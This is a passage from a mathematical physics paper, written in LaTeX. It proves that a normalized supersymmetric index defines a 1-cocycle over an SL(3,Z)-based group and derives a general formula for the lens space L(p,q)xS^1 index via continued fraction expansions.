\begin{alignedat}{2}
T_{32}^{-1}T_{31}&=T_{31}T_{32}^{-1}\,,\qquad & T_{12}^{-1}T_{13}&=T_{13}T_{12}^{-1}\,,\\
T_{32}^{-1}T_{21}&=T_{31}^{-1}T_{21}T_{32}^{-1}\,,\qquad & T_{12}^{-1}T_{23}&=T_{13}^{-1}T_{23}T_{12}^{-1}\,.
\end{alignedat}
\end{equation}
Plugging in the expressions \eqref{eq:hatZ-Tij-jneq2}, \eqref{eq:hatZ-T32} and \eqref{eq:hatZ-T12}, it follows that $\hat{\mathcal{Z}}_{(\cdot)}$ satisfies these relations as long as:
\begin{align}\label{eq:periodicity-constr-hatZ-S23}
\begin{split}
\hat{\mathcal{Z}}^{\alpha}_{S_{23}}(T_{21}\boldsymbol{\rho})\cong \hat{\mathcal{Z}}^{\alpha}_{S_{23}}(\boldsymbol{\rho})\,,\\
\hat{\mathcal{Z}}^{\alpha}_{S_{23}}(T_{31}\boldsymbol{\rho})\cong \hat{\mathcal{Z}}^{\alpha}_{S_{23}}(\boldsymbol{\rho})\,.
\end{split}
\end{align}
Since $\tilde{\boldsymbol{\rho}}=\mathcal{O}S_{23}^{-1}T_{21}\boldsymbol{\rho} =T_{31}\mathcal{O}S_{23}^{-1}\boldsymbol{\rho}$ on the left hand side of the first line, and similarly on the second line but with $T_{21}\leftrightarrow T_{31}$, we recognize this action as a large diffeomorphism on the Hopf surface $\mathcal{M}_{(1,0)}(\hat{\boldsymbol{\rho}})$ under which $\hat{\tau}\to \hat{\tau}+1$ and $\hat{\sigma}\to \hat{\sigma} +1$, respectively, described in \eqref{eq:largediffeo-matrixrelation}.
By the second result listed above, it follows that the relations \eqref{eq:sl3-reln-1-T32} are indeed satisfied by $\hat{\mathcal{Z}}^{\alpha}_{(\cdot)}$.
The relations that only involve $t_2$ and elements in $\mathcal{H}$ have the structure $t_2h=h't_2$ for $h,h'\in\mathcal{H}$.
These relations are also satisfied by the second result listed above, which implies that $\hat{\mathcal{Z}}^{\alpha}_{t_2}(\boldsymbol{\rho})$ is invariant under the action of $\mathcal{H}$ up to a phase.
Furthermore, the relations that involve $T_{i2}^{-1}$ and $t_{1,3}$, but not $t_2$, are yet again satisfied due the second result.
In this case, it follows from periodicity of $\mathcal{Z}^{\alpha}_{S_{23}\mathcal{O}}(\boldsymbol{\rho})$ under $z\to z+1$.
\paragraph{Basic relations (c):}
We continue with the relations involving more than one element in $\lbrace T_{12}^{-1},T_{32}^{-1},t_{2}\rbrace$.
For the $SL(3,\mathbb{Z})$ part of the relations, we need to check:
\begin{align}\label{eq:relns-incl-both-T12T32}
\begin{split}
T_{13}T_{32}^{-1}&=T_{12}^{-1}T_{32}^{-1}T_{13}\,,\quad T_{31}T_{12}^{-1}=T_{32}^{-1}T_{12}^{-1}T_{31}\,,\quad
T_{32}^{-1}T_{12}^{-1}=T_{12}^{-1}T_{32}^{-1}\,.
\end{split}
\end{align}
Let us first note that, since $\hat{\mathcal{Z}}^{\alpha}_{T_{13}}(\boldsymbol{\rho})=\hat{\mathcal{Z}}^{\alpha}_{T_{31}}(\boldsymbol{\rho})=1$, the third relation follows from the first two as long as $\hat{\mathcal{Z}}^{\alpha}_{(\cdot)}$ satisfies in addition:
\begin{equation}
T_{13}T_{32}^{-1}=T_{31}T_{12}^{-1}\,.
\end{equation}
One easily checks that this relation is implied by \eqref{eq:periodicity-constr-hatZ-S23}.
Therefore, we can focus on the first two relations in \eqref{eq:relns-incl-both-T12T32}.
The first relation requires us to show that:
\begin{equation}\label{eq:T13T32-reln}
\hat{\mathcal{Z}}^{\alpha}_{T_{13}}(\boldsymbol{\rho})\hat{\mathcal{Z}}^{\alpha}_{T_{32}^{-1}}(T_{13}^{-1}\boldsymbol{\rho})\cong \hat{\mathcal{Z}}^{\alpha}_{T_{12}^{-1}}(\boldsymbol{\rho})\hat{\mathcal{Z}}^{\alpha}_{T_{32}^{-1}}(T_{12}\boldsymbol{\rho})\hat{\mathcal{Z}}^{\alpha}_{T_{13}}(T_{32}T_{12}\boldsymbol{\rho})\,.
\end{equation}
Note that in this case we have not plugged in \eqref{eq:hatZ-Tij-jneq2}, \eqref{eq:hatZ-T32}, and \eqref{eq:hatZ-T12}, which turns out to be convenient.
In order to prove this relation, we need the third result listed above.
More specifically, consider the modular factorization of both $\mathcal{Z}^{\alpha}_{T_{ij}\mathcal{O}}(\boldsymbol{\rho})$ and $\mathcal{Z}^{\alpha}_{\mathcal{O}}(\boldsymbol{\rho})$ as parametrized by $S_{T_{ij}\mathcal{O}}$ and $S_{\mathcal{O}}$ respectively.
Let $(h,\tilde{h})\in S_{T_{ij}\mathcal{O}}\cap S_{\mathcal{O}}$, which is non-empty for all $T_{ij}$.\footnote{This follows for example from the fact that the generators of $F$ and $F_S$, defined in Section \ref{ssec:geom-int-univ-blocks}, together comprise all the $T_{ij}$.}
For such a pair $(h,\tilde{h})$, it follows that:
\begin{equation}
\hat{\mathcal{Z}}^{\alpha}_{T_{ij}}(\boldsymbol{\rho})=\frac{\mathcal{Z}^{\alpha}_{T_{ij}\mathcal{O}}(\boldsymbol{\rho})}{\mathcal{Z}^{\alpha}_{\mathcal{O}}(T_{ij}^{-1}\boldsymbol{\rho})}\cong \frac{\mathcal{B}^{\alpha}_h(\boldsymbol{\rho})}{\mathcal{B}^{\alpha}_{h}(T_{ij}^{-1}\boldsymbol{\rho})}\,.
\end{equation}
We thus see that the factorization of $\mathcal{Z}^{\alpha}_{T_{ij}\mathcal{O}}(\boldsymbol{\rho})$ and $\mathcal{Z}^{\alpha}_{\mathcal{O}}(\boldsymbol{\rho})$ into a common set of holomorphic blocks corresponds to a trivialization of $\hat{\mathcal{Z}}^{\alpha}_{T_{ij}}(\boldsymbol{\rho})$ (cf.\ \eqref{eq:triv-Xg}), as first suggested in \cite{Gadde:2020bov}.
This observation allows us to prove that $\hat{\mathcal{Z}}^{\alpha}_{(\cdot)}$ satisfies any relation that involves elements $g$ whose solution sets $S_f$ have a non-empty intersection.
For the relation \eqref{eq:T13T32-reln}, one may observe that the relevant $T_{ij}$ are all elements of $F_S= SL(2,\mathbb{Z})_{23}\ltimes \mathbb{Z}^2\subset SL(3,\mathbb{Z}) $ defined in Section \ref{ssec:geom-int-univ-blocks}.
It follows that the relevant $\mathcal{Z}^{\alpha}_{T_{ij}\mathcal{O}}(\boldsymbol{\rho})$ and $\mathcal{Z}^{\alpha}_{\mathcal{O}}(\boldsymbol{\rho})$ can be factorized in terms of the holomorphic block $\mathcal{B}^{\alpha}_S(\boldsymbol{\rho})$.
By the above, we find that $\hat{\mathcal{Z}}^{\alpha}_{g}(\boldsymbol{\rho})$ for $g\in F_S$ can be written as:
\begin{equation}\label{eq:triv-FS}
\hat{\mathcal{Z}}^{\alpha}_{g}(\boldsymbol{\rho})\cong \frac{\mathcal{B}^{\alpha}_S(\boldsymbol{\rho})}{\mathcal{B}^{\alpha}_S(g^{-1}\boldsymbol{\rho})}\,.
\end{equation}
Therefore, the relation \eqref{eq:T13T32-reln} is trivially satisfied, as one easily verifies by plugging in \eqref{eq:triv-FS}.
Notice in particular that:
\begin{equation}
\hat{\mathcal{Z}}^{\alpha}_{T_{13}}(\boldsymbol{\rho})\cong \frac{\mathcal{B}^{\alpha}_S(\boldsymbol{\rho})}{\mathcal{B}^{\alpha}_S(T_{13}^{-1}\boldsymbol{\rho})}=\frac{\mathcal{B}^{\alpha}(S_{13}\boldsymbol{\rho})}{\mathcal{B}^{\alpha}(T_{31}S_{13}\boldsymbol{\rho})}=1\,,
\end{equation}
where in the last equation we have made use of periodicity of the holomorphic blocks (see, e.g., Section \ref{sssec:example-free-chiral}).
This is indeed consistent with \eqref{eq:hatZ-Tij-jneq2}.
Let us apply the same strategy to the second relation in \eqref{eq:relns-incl-both-T12T32}.
The relation we have to prove reads:
\begin{equation}\label{eq:T31T12-reln}
\hat{\mathcal{Z}}^{\alpha}_{T_{31}}(\boldsymbol{\rho})\hat{\mathcal{Z}}^{\alpha}_{T_{12}^{-1}}(T_{31}^{-1}\boldsymbol{\rho})\cong \hat{\mathcal{Z}}^{\alpha}_{T_{32}^{-1}}(\boldsymbol{\rho})\hat{\mathcal{Z}}^{\alpha}_{T_{12}^{-1}}(T_{32}\boldsymbol{\rho})\hat{\mathcal{Z}}^{\alpha}_{T_{31}}(T_{12}T_{32}\boldsymbol{\rho})\,.
\end{equation}
In this case, all elements involved belong to $F=SL(2,\mathbb{Z})_{12}\ltimes \mathbb{Z}^2$.
The indices associated to this subgroup can all be factorized in terms of $\mathcal{B}^{\alpha}(\boldsymbol{\rho})$, as discussed in Section \ref{ssec:geom-int-univ-blocks}.
Thus, for any $g\in F$ we have:
\begin{equation}\label{eq:triv-F1}
\hat{\mathcal{Z}}^{\alpha}_{g}(\boldsymbol{\rho})\cong \frac{\mathcal{B}^{\alpha}(\boldsymbol{\rho})}{\mathcal{B}^{\alpha}(g^{-1}\boldsymbol{\rho})}\,.
\end{equation}
For the same reason as above, it follows that also \eqref{eq:T31T12-reln} is satisfied.
The remaining relations are given by:
\begin{equation}\label{eq:t2-T12-T32-relns}
\begin{alignedat}{2}
T_{12}^{-1}t_2&=t_2T_{12}^{-1}\,,\qquad & T_{32}^{-1}t_2&=t_2T_{32}^{-1}\,,\\
T_{12}^{-1}t_1&=t_1t_2^{-1}T_{12}^{-1}\,,\qquad & T_{32}^{-1}t_3&=t_3t_2^{-1}T_{32}^{-1}\,.
\end{alignedat}
\end{equation}
Recall that $\mathcal{Z}_{t_2\mathcal{O}}(\boldsymbol{\rho})$ can be factorized in terms of pairs $(h,h) \in SL(2,\mathbb{Z})_{13}\subset S_{\mathcal{O}}$ (see the comment below \eqref{eq:SO}).
On the other hand, one can make use of the relation between $S_{f'}$ and $S_f$ \eqref{eq:Sf'-gen} for $f'=hf\tilde{h}^{-1}$ to determine the sets $S_{t_1\mathcal{O}}$ and $S_{t_3\mathcal{O}}$ in terms of $S_{\mathcal{O}}$.
One finds that the relevant intersections are non-empty:
\begin{align}
\begin{split}
(S_{13},S_{13})&\in S_{T_{32}\mathcal{O}}\cap S_{t_2\mathcal{O}}\cap S_{t_3\mathcal{O}}\cap S_{\mathcal{O}}\,,\\
(\mathbbm{1},\mathbbm{1})&\in S_{T_{12}\mathcal{O}}\cap S_{t_2\mathcal{O}}\cap S_{t_1\mathcal{O}}\cap S_{\mathcal{O}} \,.
\end{split}
\end{align}
This shows that there exist a trivializations for each of the relations in \eqref{eq:t2-T12-T32-relns}, and consequently they are satisfied by $\hat{\mathcal{Z}}^{\alpha}_{(\cdot)}$.
Let us briefly pause to note that if there were a global trivialization, i.e., a function $\mathcal{B}^{\alpha}_h(\boldsymbol{\rho})$ such that all generators of $\mathcal{G}$ are trivialized, we could have proven all relations in one go.
However, as we have explained in Section \ref{ssec:geom-int-univ-blocks}, the maximal subset of $SL(3,\mathbb{Z})$ that can be factorized into a common set of holomorphic blocks is isomorphic to $SL(2,\mathbb{Z})\ltimes \mathbb{Z}^2$.
Two indices that can never be simultaneously trivialized, for example, are $\hat{\mathcal{Z}}^{\alpha}_{T_{13}}(\boldsymbol{\rho})$ and $\hat{\mathcal{Z}}^{\alpha}_{T_{31}}(\boldsymbol{\rho})$.
A relation that involves both elements, such as $S_{13}^4=\mathbbm{1}$, has to be proven with an alternative method, as we have used in point \textbf{(a)}.
We will comment in more detail about the absence of a global trivialization below.
\paragraph{Basic relation (d):}
To conclude that $\hat{\mathcal{Z}}^{\alpha}_{(\cdot)}$ descends to a $1$-cocycle for $\mathcal{G}$, we still need to show that $\hat{\mathcal{Z}}^{\alpha}_{(\cdot)}$ for $T_{12}^{-1}$ and $T_{12}$ correctly reflects \eqref{eq:inverse-cocycle}, and similarly for $T_{32}^{-1}$ and $t_2$.
To start, let us note that the orientation reversing symmetry of the Hopf surface, as described in \eqref{eq:combined-geom-action}, naively seems to imply:
\begin{equation}\label{eq:inv-reln-suggestion}
\mathcal{Z}_{g\mathcal{O}}(\boldsymbol{\rho})\stackrel{?}{=}\mathcal{Z}_{g^{-1}\mathcal{O}}(g^{-1}\boldsymbol{\rho})\,.
\end{equation}
However, an equation of this sort would not lead to the desired relation \eqref{eq:inverse-cocycle}.
To see what goes wrong, we first note that the solution sets for $T_{i2}^{-1}$ and $T_{i2}$ with $i=1,3$ are identical:
\begin{equation}
S_{T_{i2}^{-1}\mathcal{O}}= S_{T_{i2}\mathcal{O}}\,.
\end{equation}
It follows that any function $\mathcal{B}^{\alpha}_h(\boldsymbol{\rho})$ that trivializes $\hat{\mathcal{Z}}^{\alpha}_{T_{i2}^{-1}}(\boldsymbol{\rho})$ can also be used to trivialize $\hat{\mathcal{Z}}^{\alpha}_{T_{i2}}(\boldsymbol{\rho})$.
For example, we can use $\mathcal{B}^{\alpha}_S(\boldsymbol{\rho})$ to trivialize $\hat{\mathcal{Z}}^{\alpha}_{T_{i2}}$.
One immediately observes:
\begin{align}
\begin{split}
\hat{\mathcal{Z}}^{\alpha}_{T_{i2}}(\boldsymbol{\rho})&\cong \frac{\mathcal{B}^{\alpha}_S(\boldsymbol{\rho})}{\mathcal{B}^{\alpha}_S(T_{i2}^{-1}\boldsymbol{\rho})} \cong \frac{1}{\hat{\mathcal{Z}}^{\alpha}_{T_{i2}^{-1}}(T_{i2}^{-1}\boldsymbol{\rho})} \,.
\end{split}
\end{align}
Comparing with \eqref{eq:inverse-cocycle}, this is indeed the right behaviour for inverses.
This argument also applies to the relation between $\hat{\mathcal{Z}}^{\alpha}_{t_2}$ and $\hat{\mathcal{Z}}^{\alpha}_{t^{-1}_2}$.
As a consequence, there is no simple relation such as the one suggested in \eqref{eq:inv-reln-suggestion}.
We expect this to be related to the fact that orientation reversal changes the preserved supersymmetry algebra.
\paragraph{Conclusion:}
This concludes our proof of the statement that $\hat{\mathcal{Z}}^{\alpha}_{(\cdot)}$ is a $1$-cocycle for $\mathcal{G}$.
In particular, it follows that it satisfies the defining $1$-cocycle condition:
\begin{equation}\label{eq:hatZ-mod-prop}
\hat{\mathcal{Z}}^{\alpha}_{g_1g_2}(\boldsymbol{\rho})\cong \hat{\mathcal{Z}}^{\alpha}_{g_1}(\boldsymbol{\rho})\hat{\mathcal{Z}}^{\alpha}_{g_2}(g_{1}^{-1}\boldsymbol{\rho})\,,\qquad g_{1,2}\in\mathcal{G}\,,
\end{equation}
where the equality holds up to a phase in $C^2(\mathcal{G},M)$.
An explicit description of this phase is in terms of the anomaly polynomial of the theory (see, e.g., Section \ref{ssec:evidence}).
For consistency of \eqref{eq:hatZ-mod-prop}, this phase should really by thought of as a class in $H^2(\mathcal{G},M)$, and in particular should satisfy the $2$-cocycle condition \eqref{eq:2-cocycle-cond}.
For the free chiral multiplet, or rather a single elliptic $\Gamma$ function, this was shown in \cite{Felder_2000}.
A quick way to argue that it holds more generally for $\mathcal{N}=1$ gauge theories is as follows.
First, note that the vortex contributions to a lens index are automatically factorized (cf.\ \eqref{eq:lens-higgs-form}).
This implies that its contribution to $\hat{\mathcal{Z}}^{\alpha}_{g}(\boldsymbol{\rho})$ is cohomologically trivial \cite{Gadde:2020bov}:
\begin{equation}\label{eq:hatZ-explicit}
\hat{\mathcal{Z}}^{\alpha}_{g}(\boldsymbol{\rho})=\frac{\mathcal{Z}^{\alpha}_{g\mathcal{O}}(\boldsymbol{\rho})}{\mathcal{Z}^{\alpha}_{\mathcal{O}}(g^{-1}\boldsymbol{\rho})}=\frac{\mathcal{Z}^{\alpha}_{g\mathcal{O},\text{1-loop}}(\boldsymbol{\rho})}{\mathcal{Z}^{\alpha}_{\mathcal{O},\text{1-loop}}(g^{-1}\boldsymbol{\rho})}\frac{\mathcal{Z}^{\alpha}_{\text{v}}(\boldsymbol{\rho})}{\mathcal{Z}^{\alpha}_{\text{v}}(g^{-1}\boldsymbol{\rho})}\,,
\end{equation}
where we have plugged in \eqref{eq:lens-higgs-form}.
As such, this contribution drops out of the $1$-cocycle condition, and in particular does not contribute to the phase.
Since $\mathcal{Z}^{\alpha}_{\text{1-loop},\,g\mathcal{O}}(\boldsymbol{\rho})$ consists of a product of elliptic $\Gamma$ functions, and the cohomology groups are defined multiplicatively, it follows that also the phase for a general gauge theory satisfies the $2$-cocycle condition.
It would be interesting to verify this more explicitly.
\paragraph{Non-triviality of the class:}
We have seen that not all elements in $\mathcal{G}$ are simultaneously trivializable.
This implies, by definition, that $\hat{\mathcal{Z}}^{\alpha}_{(\cdot)}$ defines a non-trivial class in $H^1(\mathcal{G},N/M)$.
The underlying physical reason follows from the connection between trivialization and holomorphic block factorization, as we will now discuss.
Recall from Section \ref{ssec:geom-int-univ-blocks} that only indices associated to a subset of $SL(3,\mathbb{Z})$ admit a factorization in terms of a common set of holomorphic blocks.
Geometrically, this follows from the requirement that the associated Heegaard splittings fix a time circle.
For example, an index $\mathcal{Z}_{f}(\boldsymbol{\rho})$ with $f=g\,\mathcal{O}$ can be factorized in terms of $\mathcal{B}^{\alpha}(\boldsymbol{\rho})$ for $g\in F$, where we recall that $F=SL(2,\mathbb{Z})_{12}\ltimes \mathbb{Z}^2$ (see \eqref{eq:def-F1}).
More generally, the holomorphic blocks $\mathcal{B}^{\alpha}_h(\boldsymbol{\rho})$ and $\mathcal{B}^{\alpha}_{\tilde{h}}(f^{-1}\boldsymbol{\rho})$ can be used to factorize indices associated to the subset $F_{h,\tilde{h}}=h^{-1}F\mathcal{O}\tilde{h}\mathcal{O}$, which is a subgroup of $SL(3,\mathbb{Z})$ for $\tilde{h}=h$.
Since the common factorization of indices is precisely the requirement for the trivialization of $\hat{\mathcal{Z}}^{\alpha}_{g}(\boldsymbol{\rho})$, it follows that the latter can only be trivialized with respect to subgroups isomorphic to $F$.
We can extend the statement to maximal subgroups of $\mathcal{G}$.
Since we have seen that $\mathcal{Z}_{t_{2,3}\mathcal{O}}(\boldsymbol{\rho})$ also admit a factorization in terms of $\mathcal{B}^{\alpha}_S(\boldsymbol{\rho})$, it follows that:
\begin{equation}\label{eq:def-calFS}
\begin{aligned}
\mathcal{F}_S\equiv SL(2,\mathbb{Z})_{23}\ltimes \mathbb{Z}^{2+2r} \,, \quad \textrm{with} \quad \mathbb{Z}^{2+2r} &= \langle T_{12}\,,T_{13}\,, t^{(a)}_2\,,t^{(a)}_3\rangle\,,
\end{aligned}
\end{equation}
is a maximal subgroup of $\mathcal{G}$ which can be trivialized.
Similarly, $\hat{\mathcal{Z}}^{\alpha}_{g}(\boldsymbol{\rho})$ can be trivialized in terms of $\mathcal{B}^{\alpha}(\boldsymbol{\rho})$ for $g\in \mathcal{F}$ with:
\begin{equation}\label{eq:def-calF1}
\begin{aligned}
\mathcal{F}\equiv SL(2,\mathbb{Z})_{12}\ltimes \mathbb{Z}^{2+2r} \,, \quad \textrm{with} \quad \mathbb{Z}^{2+2r} &= \langle T_{31}\,,T_{32}\,, t^{(a)}_1\,,t^{(a)}_2\rangle\,.
\end{aligned}
\end{equation}
In general, a trivialization of $\hat{\mathcal{Z}}^{\alpha}_{g}(\boldsymbol{\rho})$ for $g\in \mathcal{F}_h\equiv h^{-1}\mathcal{F}h$ is in terms of the function $\mathcal{B}^{\alpha}_{h}(\boldsymbol{\rho})$.
Finally, indices associated to $\mathcal{H}\subset \mathcal{G}$ can never be simultaneously trivialized.
\subsection{Cohomological perspective on modular factorization}\label{ssec:coh-perspective}
In this section, we provide a cohomological perspective on modular factorization.
We recall from Section \ref{ssec:geom-int-univ-blocks} that $hf\tilde{h}^{-1}\mathcal{O}\in F$ for any gluing transformation $f$ and $(h,\tilde{h})\in S_f$.
Let us write out this fact more explicitly for $f=g_{(p,q)}\,\mathcal{O}$ as in \eqref{eq:gSL2-from-gSL3}.
Using the explicit pair $(h,\tilde{h})\in S_f$ in \eqref{eq:h-ht-Lens-gen}, we have:\footnote{This relation generalizes the relations studied in \cite{Gadde:2020bov,Jejjala:2021hlt}, associated to order $3$ elements in $SL(3,\mathbb{Z})$ for $g_{(1,0)}=S_{23}$.}
\begin{equation}\label{eq:h1,2-sl3-constr}
h\,g_{(p,q)}\,\tilde{h}^{-1}_{\mathcal{O}}=S_{23}\, h'\, S_{23}^{-1}\,,\qquad \tilde{h}_{\mathcal{O}}\equiv\mathcal{O}\,\tilde{h}\,\mathcal{O}\,,\qquad (h,\tilde{h})\in S_f\,,
\end{equation}
with $h'\in H$ given by:
\begin{equation}\label{eq:eq:h1,2-sl3-constr-hprime}
h'=\begin{pmatrix}
\alpha & 0 &-\gamma\\
k\tilde{l}\alpha-\tilde{k}(l-p\tilde{b}) & 1 & kp \\
-\beta&0 & \delta
\end{pmatrix}\,.
\end{equation}
Here, $\alpha, \beta, \gamma$, and $\delta$ refer to the combinations of parameters defined in \eqref{eq:sl2-constraints} and satisfy $\alpha\delta-\beta\gamma=1$.
One easily checks that the right hand side of \eqref{eq:h1,2-sl3-constr} is indeed an element of $F$.
Using the $1$-cocycle condition \eqref{eq:hatZ-mod-prop}, we can evaluate $\hat{\mathcal{Z}}^{\alpha}_{(\cdot)}$ on both sides of \eqref{eq:h1,2-sl3-constr} to find:
\begin{equation}\label{eq:hatZS23-triv}
\hat{\mathcal{Z}}^{\alpha}_{hg\tilde{h}^{-1}_{\mathcal{O}}}(\boldsymbol{\rho})\cong \frac{\hat{\mathcal{Z}}^{\alpha}_{S_{23}}(\boldsymbol{\rho})}{\hat{\mathcal{Z}}^{\alpha}_{S_{23}}(\tilde{h}_{\mathcal{O}}\,g^{-1}\,h^{-1}\boldsymbol{\rho})}\,,\qquad (h,\tilde{h})\in S_f\,,
\end{equation}
where we have made use of the fact that $\hat{\mathcal{Z}}^{\alpha}_{S_{23}^{-1}}(\boldsymbol{\rho})=1/\hat{\mathcal{Z}}^{\alpha}_{S_{23}}(S_{23}\boldsymbol{\rho})$ and $\hat{\mathcal{Z}}^{\alpha}_{h}(\boldsymbol{\rho})=1$ for $h\in\mathcal{H}$.
This is an interesting expression for two main reasons.
First of all, the equation takes on the form of a trivialization.
Note that the trivialization is now in terms of the function $\hat{\mathcal{Z}}^{\alpha}_{S_{23}}(\boldsymbol{\rho})$.
Since the group element $hg\tilde{h}^{-1}_{\mathcal{O}}\in F$, it could also be trivialized in terms of $\mathcal{B}^{\alpha}(\boldsymbol{\rho})$ (see the comment above \eqref{eq:def-calF1}).
This is not too surprising.
Indeed, let us plug in both numerator and denominator of \eqref{eq:hatZS23-triv} with \eqref{eq:hatZ-explicit}:
\begin{equation}
\hat{\mathcal{Z}}^{\alpha}_{hg\tilde{h}^{-1}_{\mathcal{O}}}(\boldsymbol{\rho})\cong \frac{\mathcal{Z}^{\alpha}_{S_{23}\mathcal{O},\text{1-loop}}(\boldsymbol{\rho})}{\mathcal{Z}^{\alpha}_{S_{23}\mathcal{O},\text{1-loop}}(\tilde{h}_{\mathcal{O}}\,g^{-1}\,h^{-1}\boldsymbol{\rho})}\frac{\mathcal{Z}^{\alpha}_{\text{v}}(\boldsymbol{\rho})}{\mathcal{Z}^{\alpha}_{\text{v}}(\tilde{h}_{\mathcal{O}}\,g^{-1}\,h^{-1}\boldsymbol{\rho})}\,,
\end{equation}
where we have made use of \eqref{eq:h1,2-sl3-constr} and the fact that both $\mathcal{Z}^{\alpha}_{\mathcal{O},\text{1-loop}}(\boldsymbol{\rho})$ and $\mathcal{Z}^{\alpha}_{\text{v}}(\boldsymbol{\rho})$ are invariant, up to a phase, under the action $\boldsymbol{\rho}\to h\boldsymbol{\rho}$ for $h\in H$.
The right hand side now reflects essentially the trivialization in terms of $\mathcal{B}^{\alpha}(\boldsymbol{\rho})$ (see, e.g., Section \ref{sssec:sqed}).\footnote{The word essentially refers to the additional shift in the $z$ argument in the expression for $\mathcal{B}^{\alpha}(\boldsymbol{\rho})$. This shift produces relative $\theta$ functions in both numerator and denominator, which can be checked to cancel (up to a phase).}
A second observation is that we can further rewrite the equation as:
\begin{equation}
\hat{\mathcal{Z}}^{\alpha}_{g}(\boldsymbol{\rho})\cong \frac{\hat{\mathcal{Z}}^{\alpha}_{S_{23}}(h\boldsymbol{\rho})}{\hat{\mathcal{Z}}^{\alpha}_{S_{23}}(\tilde{h}_{\mathcal{O}}g^{-1}\boldsymbol{\rho})}\,,\qquad (h,\tilde{h})\in S_f\,,
\end{equation}
where we have used \eqref{eq:hatZ-mod-prop} and the fact that $\hat{\mathcal{Z}}^{\alpha}_{h}= 1$ for $h\in\mathcal{H}$.
This equation can be viewed as the analogue of modular factorization for $\hat{\mathcal{Z}}^{\alpha}_{(\cdot)}$.
We conclude that the modular factorization of lens indices follows, in the cohomological language, from the $SL(3,\mathbb{Z})$ relation \eqref{eq:h1,2-sl3-constr}.
This generalizes the $Y^3=1$ relation of \cite{Gadde:2020bov} and its relation to the original holomorphic block factorization of \cite{Nieri:2015yia}, as mentioned in Section \ref{sec:intro}.
\section{Application: general lens space index}\label{sec:gen-lens-index}
In this section, we show how the $1$-cocycle condition \eqref{eq:hatZ-mod-prop} leads to an expression for the general lens index $\mathcal{I}_{(p,q)}(\hat{\boldsymbol{\rho}})$ in terms of the $S^3\times S^1$ and $S^2\times T^2$ indices.
We then evaluate the formula for the free chiral multiplet, and perform two consistency checks.
\subsection{A general formula}\label{ssec:gen-formula}
In Section \ref{ssec:top-aspects}, we discussed the Heegaard splitting of a general lens space $L(p,q)$.
In order to compute the index using the $1$-cocyle condition, we first decompose the associated gluing element $g_{(p,q)}\in SL(2,\mathbb{Z})_{23}$ into the generators $S_{23}$ and $T_{23}$.
This was called a continued fraction expansion in \cite{jeffrey1992chern}, and is given by:
\begin{equation}\label{eq:def-gpqei0k}
\Delta_t\equiv g_{(p,q)}= S_{23}\prod_{i=1}^{t}\left( T_{23}^{-e_{i}}S_{23} \right)\,,\qquad e_i\geq 2 \,.
\end{equation}
Let us explain this decomposition in some detail.
First, define a truncated product $\Delta_i$:
\begin{eqnarray} \label{eq:convergentmatrices}
\Delta_{i}= S_{23} \prod_{j=1}^{i}\left( T_{23}^{-e_{j}}S_{23} \right)=\left(
\begin{array}{ccc}
1 & 0 & 0 \\
0 & -s_{i} & -r_{i} \\
0 & -p_{i} & -q_{i}
\end{array}
\right) \,.
\end{eqnarray}
where the matrix entries of $\Delta_i$ are defined in terms of $e_j$.
We also define $\Delta_0\equiv S_{23}$ for later convenience.
The recurrence relation $\Delta_i = \Delta_{i-1} T_{23}^{-e_i} S_{23}$ can be written in terms of the matrix entries as:
\begin{equation}\label{eq:recursive-pq}
\begin{aligned}
& p_{i} = e_{i} p_{i-1}- p_{i-2}\,, \qquad \, q_i=p_{i-1}\,, \\
&s_{i} = e_{i} s_{i-1}- s_{i-2} \,,\qquad r_i=s_{i-1}\,,\\
& p_0=1\,,\quad p_1= e_1 \,, \quad s_0=0\,, \quad s_1 =1 \,.
\end{aligned}
\end{equation}
Let us also define negatively indexed parameters consistent with the initial conditions:
\begin{equation}\label{eq:minusone-pquv}
p_{-1}=0, \qquad s_{-1}= -1\,.
\end{equation}
The first line in \eqref{eq:recursive-pq} implies that the solutions obey:
\begin{align}\label{eq:poveruandpoverq}
\begin{split}
\frac{p_i}{q_i}&= [e_i,e_{i-1},\ldots,e_{1}]^-\equiv e_i-\cfrac{1}{e_{i-1}-\frac{1}{\cdots-\frac{1}{e_1}}}\,,
\end{split}
\end{align}
which is known as the Hirzebruch--Jung continued fraction expansion.
This expansion is unique for $e_j\ge 2$ \cite{jeffrey1992chern}.
Similarly:
\begin{align}\label{eq:poveruandsoverp}
\begin{split}
-\frac{s_i}{p_i} &= [0,e_1,\ldots, e_i]^- \,.
\end{split}
\end{align}
Note that the continued fraction expansions imply that $1 \le s_i,q_i < p_i$.
For any coprime pair $(p,q)$ defining a lens space $L(p,q)$ with $1 \le q < p$, there exists a $t$ such that \cite{jeffrey1992chern}:
\begin{equation}\label{eq:definitionptqt=pq}
g_{(p,q)}=\Delta_t\,,\quad \text{with}\quad p_t = p\,, \quad q_t = q\,,\quad s_t =s\,, \quad r_t = r\,.
\end{equation}
This establishes the claim in \eqref{eq:def-gpqei0k}.
Geometrically, the $e_i$ parametrize a $-p/q$ surgery on the unknot in $S^3$, which provides an alternative construction of $L(p,q)$ \cite{jeffrey1992chern,tange2010complete,bleiler1989lens,2005math6432P}.
We can now write a formula for the $L(p,q)\times S^1$ index of a general gauge theory:
\begin{align}\label{eq:lenspartitionfunction}
\begin{split}
\mathcal{I}_{(p,q)} (\hat{\boldsymbol{\rho}}) \equiv \mathcal{Z}_{g_{(p,q)}\mathcal{O}}(\boldsymbol{\rho})&=\sum_\alpha \mathcal{Z}_{\mathcal{O}}^\alpha(g_{(p,q)}^{-1}\,\boldsymbol{\rho}) \hat{\mathcal{Z}}^{\alpha}_{g_{(p,q)}}(\boldsymbol{\rho})\\
&=\sum_\alpha \mathcal{Z}_{\mathcal{O}}^\alpha (g_{(p,q)}^{-1} \boldsymbol{\rho}) \prod_{i=0}^t \hat{\mathcal{Z}}_{S_{23}}^\alpha (S_{23}\Delta_i^{-1} \boldsymbol{\rho})\,,
\end{split}
\end{align}
where we assume a Higgs branch expression for the index and have used the definition \eqref{eq:defn-hatZ} of $\hat{\mathcal{Z}}^{\alpha}_{g}(\boldsymbol{\rho})$ to rewrite the summand.
In the second line, we have used the $1$-cocycle condition \eqref{eq:hatZ-mod-prop} and the fact that $\hat{\mathcal{Z}}^{\alpha}_{T_{23}}(\boldsymbol{\rho})=1$.
Furthermore, the moduli $\hat{\boldsymbol{\rho}}$ are related to $\boldsymbol{\rho}$ through the usual relation \eqref{eq:p-moduli}.
